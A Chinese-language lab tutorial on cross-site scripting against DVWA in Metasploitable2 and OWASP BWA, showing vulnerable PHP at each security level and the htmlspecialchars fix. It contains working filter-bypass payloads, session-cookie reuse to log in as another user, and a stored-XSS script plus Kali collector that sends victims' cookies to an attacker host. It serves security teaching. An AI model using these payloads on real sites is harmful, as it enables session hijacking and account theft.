目錄
XSS(跨站腳本攻擊)
1.XSS簡介
1.1什麼是XSS?
1.2 XSS攻擊的危害包括:
2. 分類
2.1反射型
2.2存儲型
3. 構造XSS腳本
3.1常用HTML标簽
3.2常用javascript方法
4.反射型(四種安全級别示範)
4.4.1低安全級别
4.4.2 中安全級别
4.4.2 高安全級别
4.4.2 不可能安全級别
5.存儲型(四種安全級别示範)
5.1低安全級别
5.2 中安全級别
XSS(跨站腳本攻擊)

項目實驗環境
Metasploitable2-Linux 靶場
OWASP Broken Web Apps VM v1.2 靶場
Kali-Linux-2020.1-vmware-amd64 攻擊機
1.XSS簡介
跨站腳本( cross site script )為了避免與樣式css(Cascading Style Sheets層疊樣式表)混淆,是以簡稱為XSS。
XSS是一種經常出現在web應用中的計算機安全漏洞 ,也是web中最主流的攻擊方式。
1.1什麼是XSS?
XSS是指惡意攻擊者利用網站沒有對使用者送出資料進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使别的使用者通路都會執行相應的嵌入代碼。
進而盜取使用者資料、利用使用者身份進行某種動作或者對通路者進行病毒侵害的一種攻擊方式。
XSS主要原因:
過于信任用戶端送出的資料!
1.2 XSS攻擊的危害包括:
1、盜取各類使用者帳号,如機器登入帳号、使用者網銀帳号,各類管理者帳号
2、控制企業資料,包括讀取、篡改,添加、删除企業敏感資料的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站挂馬
7、控制受害者機器向其它網站發起攻擊
2. 分類
2.1反射型
反射型xss攻擊( Reflected XSS)又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞産生的原因是攻
擊者注入的資料反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的連結( 即每次攻擊需要使用者的點選)。
2.2存儲型
存儲型XSS (Stored XSS)又稱為持久型跨站點腳本,它一般發生在XSS攻擊向量 (一般指XSS攻擊代碼)存儲在網站資料庫,當一個頁面被使用者打開的時候執行。每當使用者打開浏覽器,腳本執行。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當使用者打開頁面,檢視内容時腳本将自動執行。谷歌的orkut 曾經就遭受到XSS。
兩種類型實作的結果完全相同,不同的是前者需要點選,後者存在于網頁的資料庫内
3. 構造XSS腳本
3.1常用HTML标簽
<iframe> 建立包含另一個文檔的内聯架構
<textarea> 這個标簽定義多行的文本輸入控件
<img> 向網頁中嵌入一副圖像
<scirpt> 這個标簽用于定義用戶端腳本,比如JavaScript 這個标簽既可以包含腳本語句,也可以通過src屬性指向外部的腳本檔案。必須的type屬性規定腳本的MIME類型 JavaScript 的常見應用是圖像操作、表單驗證及動态内容更新。
3.2常用javascript方法
alert alert()方法用于顯示帶有一條指定消息和一個确認按鈕的警告框
window.location window.location對象用于獲得目前頁面的位址(URL) ,并把浏覽器重定向到新的頁面
location.href 傳回目前顯示的文檔的完整URL
onload 一張頁面或一幅圖像完成加載
onsubmit 确認按鈕被點選
onerror 在加載文檔或圖像時發生錯誤
4.反射型(四種安全級别示範)
4.4.1低安全級别
檢視網頁的後端代碼,隻要輸入的字元不是空字元、NULL,那就直接列印Hello加輸入的内容
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
測試一下
測試是否可以XSS攻擊(注意這步及其關鍵,無論是反射型還是存儲型都要先進性XSS的測試)
在輸入框輸入<script>alert('XSS')</script>,彈出視窗,可見存在XSS漏洞
那麼,接下來就肆意妄為的爆破吧,首先拿到此頁面的cookie,這裡注意一下,攻擊者直接通過一些方式(社會工學)讓受害者點選一個連結,這個連結就會拿到受害者在這個頁面的cookie,下圖拿到的cookie隻是簡單的測試一下XSS的漏洞威脅
擷取目前頁面的cookie
<script>alert(document.cookie)</script>
security=low;PHPSESSID=49acb6ca0a588a3176e77b602a36fce3
将拿到的這個cookie就可以以這個使用者的名義去登入網頁
測試:
換一個浏覽器 使用獲得的cookie去登入,可見無需使用者名與密碼,直接登入上來了
4.4.2 中安全級别
這次先不去直接檢視後端的代碼,正常情況下是不能看到後端代碼的(廢話),這時候就要發揮想象力了,如果你覺得有些費力,且不妨看看我是怎麼思考的
分析:
首先,還是先測試一下這個網頁有沒有XSS漏洞,此時并沒有彈窗,下面的輸出是<script>中的内容,可以初步推斷出來,後端可能把<script>給“過濾“了,再次測試,發現确實是這樣
解決:
在SQL注入中,對于被過濾的關鍵詞可以采用以下這幾種方法,這裡相同
- 大小寫
- 轉義
- 内嵌
- 替換
大小寫,可見更改大小寫後<script>中的内容被執行了
<Script>alert('XSS')</Script>
内嵌
<sc<script>ript>alert('xss')</script>
替換,即使用其他标簽來替換<script>标簽
<img src="#" οnerrοr=alert('XSS')>
現在來檢視以下背景的代碼,可以看到其确實是把<script>标簽替換成了空字元
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 高安全級别
來到高安全級别後,首先不要慌,他無非就是對某些字元做了一些更強的過濾而已,找對方法,還是可以實施攻擊的,永遠牢記,沒有絕對的安全
如下可見,對于大小寫,内嵌都不能進行XSS的注入,但是替換标簽就可以了,是不是很簡單~
此時,檢視網頁的背景代碼,可見确實采用的是更強的字元過濾,但是對于替換他并沒有設計,讓我們看看impossibl難度下會不會對替換也做出過濾
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 不可能安全級别
到這裡,不多bb,直接替換,可見,無論輸入的是什麼都被當做成了字元串輸出了,并沒有執行标簽的内容
檢視背景代碼可以看出,使用了php htmlspecialchars()函數
在php中,htmlspecialchars()函數是使用來把一些預定義的字元轉換為HTML實體,傳回轉換後的新字元串,原字元串不變。如果 string 包含無效的編碼,則傳回一個空的字元串,除非設定了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志;
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
說明:XSS攻擊的核心就是靠HTML<script>标簽或元素屬性來執行Javascript腳本。
而 htmlspecialchars 則可以轉轉義 <> 這樣就無法通過script标簽攻擊。同時又可以過濾掉雙引号,單引号(需要另外加個參數),阻止靠元素屬性來觸發事件執行腳本
參數解釋
$str = htmlspecialchars(string,flags,character-set,double_encode);
參數說明
string:規定要轉換的字元串
flags :可選參數,規定如何處理引号、無效的編碼以及使用哪種文檔類型
可用的引号類型:
ENT_COMPAT:預設。僅編碼雙引号。ENT_QUOTES:編碼雙引号和單引号。ENT_NOQUOTES:不編碼任何引号。
無效的編碼:
ENT_IGNORE:忽略無效的編碼,而不是讓函數傳回一個空的字元串。應盡量避免,因為這可能對安全性有影響。
ENT_SUBSTITUTE: 把無效的編碼替代成一個指定的帶有 Unicode 替代字元 U+FFFD(UTF-8)或者 &#FFFD; 的字元,而不是傳回一個空的字元串
ENT_DISALLOWED: 把指定文檔類型中的無效代碼點替代成 Unicode 替代字元 U+FFFD(UTF-8)或者 &#FFFD;。
5.存儲型(四種安全級别示範)
以下采用靶場時OWASP 攻擊機是Kali
分析:
存儲型的XSS漏洞威脅更大,即不需要使用者做出點選連結的動作,直接寫死在資料庫内,當使用者進入含有存儲型XSS漏洞的頁面時,根據攻擊者制定的政策,來截獲受害者的個人資訊
5.1低安全級别
攻擊者登入到這個頁面後,在類似于留言闆的地方,注入XSS攻擊代碼,這樣所有的其他使用者隻要點選到這個位置就會執行XSS的代碼
使用另一個浏覽器登入user使用者,一旦點選到XSS stored後,就會彈出視窗,這樣的攻擊方式,簡單高效,不必通過一些社工誘導使用者點選某個連結,而是直接中招
下面将通過注入XSS漏洞擷取受害主機的cookie,并将其發送到一個主機上(Kali)
詳細步驟:
1.建構收集cookie伺服器 這裡使用的是KALI
2.構造XSS代碼并植入到Web伺服器
3.等待殭屍電腦觸發XSS代碼,其cookie就會被發送到Kali
4.Cookie利用 根據sqlmap來爆庫,表,資料等
詳細示範:
第一步:在 KALI打開 http服務,建立用于存放cookie的檔案
[email protected]:~# systemctl start apache2
[email protected]:~# vim /var/www/html/cookie.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>
第二步:在頁面内注入XSS的存儲型漏洞
<script>window.open('http://192.168.211.130/cookie.php?cookie='+document.cookie)</script>
注:192.168.211.130為kali的IP
先清除之前植入的XSS代碼
這裡由于前端的頁面對輸入框有字數限制,這裡先改大一些
一旦注入,就會跳轉至Kali的cookie.php頁面用于收集使用者的cookie值
第三步:殭屍電腦點選被植入了XSS代碼的頁面就将自己的cookie送出給了KALI,注意,對于彈出的視窗,要允許其彈出,要不然不會送出自己的cookie
一旦允許,就會将自己的cookie上傳給Kali的/var/www/html/cookie.txt内
此時 ,KALI就會生成一個存儲cookie的檔案,其内容存儲的就是user使用者的本地cookie
驗證,可見與Kali擷取的cookie是一緻的
然後呢,你都拿到cookie了,接下來就肆意妄為吧
檢視低安全級别的背景代碼
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
可見,使用POST送出了name與message,然後對dvwa庫的guesbook表進行插入資料,從這裡可以看出,确實是寫死在了資料庫中,更能了解XSS的存儲型漏洞的詳細了。在這個安全級别下無任何的防禦措施,任人注入漏别
登入到背景的資料庫中驗證,可見,與預期相符
5.2 中安全級别
直接使用最簡單的彈窗類進行測試,可見其是将<script>标簽給過濾了,解決辦法與XSS的反射型的安全級别一緻,大小寫或替換,或内嵌都是可以的
測試發現,大小寫,内嵌、替換都沒有用,其實背景是将<>給轉義了,這樣無論使用<script>還是<img>标簽都沒有用
檢視頁面背景代碼
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
檢視頁面的背景資料庫,可見确實是對<>做了轉換